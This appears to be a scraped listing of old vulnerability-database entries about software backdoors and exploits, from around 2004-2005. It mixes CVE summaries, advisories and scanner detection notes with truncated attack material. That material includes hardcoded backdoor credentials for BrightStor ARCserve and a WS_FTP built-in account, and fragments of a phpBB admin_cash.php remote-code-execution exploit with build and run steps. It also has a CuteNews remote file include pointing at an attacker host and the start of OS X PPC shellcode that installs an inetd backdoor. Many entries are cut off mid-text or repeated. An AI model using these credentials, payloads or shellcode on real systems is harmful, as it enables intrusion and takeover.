CVE-2005-0868

AS/400 Telnet 5250 terminal emulation clients, as implemented by 1 IBM client access, 2 Bosanova, 3 PowerTerm, 4 Mochasoft, and possibly other emulations, allows malicious AS/400 servers to execute arbitrary commands via a STRPCO Start PC Organizer command followed by STRPCCMD Start PC command, a...

AS/400 terminal client backdoor functions

There are few terminal function allows to execute command on client PC...

[Full-Disclosure] iDEFENSE Security Advisory 02.10.05: Computer Associates BrightStor ARCserve Backup UniversalAgent Backdoor Vulnerability

Computer Associates BrightStor ARCserve Backup UniversalAgent Backdoor Vulnerability iDEFENSE Security Advisory 02.10.05 www.idefense.com/application/poi/display?id=198&type=vulnerabilities February 10, 2005 I. BACKGROUND BrightStor ARCserve Backup r11.1 delivers leading backup and restore...

Computer Associates BrightStor ARCserve Backup backdoor account

There is backdoor account Username: x02rootx03 Password: x02j8U+Rix03...

wgettrap.txt

!/usr/bin/perl -W wgettrap.poc -- A POC for the wget1 directory traversal vulnerability Copyright 2004 Jan Min=C3=A1=C5=99 jjminar fastmail fm License: Public Domain - SECU When wget connects to us, we send it a HTTP redirect constructed so that wget wget will connect the second time, it will be...

Asante FM2008 10/100 Ethernet switch backdoor login

The Asante FM2008 is an 8 port managed Ethernet 10/100 switch. It may be managed, like many others in its device class, by Telnet, by serial port, by HTTP, or by SNMP. Also like most similar devices, the serial port, HTTP, and Telnet access methods require one to provide username/password...

phpbb2011.txt

Phpbb: All vulnerable all except 2.0.11 Attachment module: All version vulnerable Howdark update opened wide my eyes with his nice exploit: Bugtraq id: 10701 ----- viewtopic.php?t=1&highlight=%2527 ----- Looking at the code I saw that was possible inject any type of Sql query with a multiple char...

phpBB 1.0.0/2.0.10 - 'admin_cash.php' Remote Code Execution

/ exploit for phpBB 1.0.0 - 2.0.10 edit the b4b0.php file with the correct url to your backdoor and the correct filename for your backdoor upload it to a webserver. gcc -o b4b0-phpbb b4b0-phpbb.c ./b4b0-phpbb telnet greets to b4b0 -- evilrabbi / include include include include include include voi...

phpBB v1.0.0 - 2.0.10 admin_cash.php remote exploit

No description provided by source. / exploit for phpBB 1.0.0 - 2.0.10 edit the b4b0.php file with the correct url to your backdoor and the correct filename for your backdoor upload it to a webserver. gcc -o b4b0-phpbb b4b0-phpbb.c ./b4b0-phpbb urltosystem phpbbdir urltob4b0.php telnet...

phpBB v1.0.0 - 2.0.10 admin_cash.php remote exploit

Exploit for unknown platform in category web applications =================================================== phpBB v1.0.0 - 2.0.10 admincash.php remote exploit =================================================== / exploit for phpBB 1.0.0 - 2.0.10 edit the b4b0.php file with the correct url to yo...

phpBB 1.0.02.0.10 - admin_cash.php Remote Code Execution

phpBB 1.0.02.0.10 - admincash.php Remote Code Execution / exploit for phpBB 1.0.0 - 2.0.10 edit the b4b0.php file with the correct url to your backdoor and the correct filename for your backdoor upload it to a webserver. gcc -o b4b0-phpbb b4b0-phpbb.c ./b4b0-phpbb telnet greets to b4b0 -- evilrab...

Aspell (word-list-compress) Command Line Stack Overflow

Exploit for linux platform in category local exploits ======================================================= Aspell word-list-compress Command Line Stack Overflow ======================================================= / Fuck private exploits . Fuck iranian hacking and security !! teams who are...

WS_FTP Server buffer overflow adn backdor

Buffer overflow in STAT and another commands. Built-in user accaount XXSESSMGRYY with password X1833 allows command execution on server...

CVE-2004-0260

The AddToMailingList function in CactuSoft CactuShop 5.0 Lite contains a backdoor that allows remote attackers to delete arbitrary files via an email address that starts with |||...

MoonLit Virus Backdoor Detection

The system is infected by the MoonLit virus, the backdoor port is open. Backdoor.Moonlit is a Trojan horse program that can download and execute files, and may act as a proxy server. Copyright C 2004-2010 KK Liu rev 1.0: MoonLit detection - 07/30/2004 rev 1.1: Description changes rev 1.2: Bug fix...

CuteNews.RU v026 - bugs

Network security team nst.e-nex.com Title: CuteNews.RU v026 - bugs Bug found by: тёмыч Date: 25.10.2004 Если magicquotesgpc = off include showarchives.php?template=../../../../../../../../file00 Если .htaccess неработает include /inc/shows.inc.php?cutepath=http://ATTACKER&nst=id предворительна...

PostNuke Trojaned Distribution

The remote host seems to be running a copy of a trojaned version of the 'PostNuke' content management system. PostNuke is a content management system in PHP whose main website has been compromised between the 24th and 26th of October 2004. An attacker modified some of the source code of the tool ...

Hacker Defender Backdoor Detection

The remote host is running the Hacker Defender rootkit. Among other things, it hooks itself into all open TCP ports on the system, listening for a specially crafted packet, and opening a backdoor on that port when found. This backdoor can be used by malicious users to control the affected host...

os-x/PPC add inetd backdoor 222 bytes

No description provided by source. / PPC OS X / Darwin Shellcode by B-r00t. 2003. open; write; close; execve; exit; See ASM below. 222 Bytes! / char shellcode = "\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7d\x48\x02\xa6\x3b\xea\x01\x70" "\x39\x60\x01\x70\x39\x1f\xff\x1b\x7c\xa8\x29\xae\x39\x1f\xff\x65"...

os-x/PPC add inetd backdoor 222 bytes

Exploit for os-x/ppc platform in category shellcode ===================================== os-x/PPC add inetd backdoor 222 bytes ===================================== / PPC OS X / Darwin Shellcode by B-r00t. 2003. open; write; close; execve; exit; See ASM below. 222 Bytes! / char shellcode =...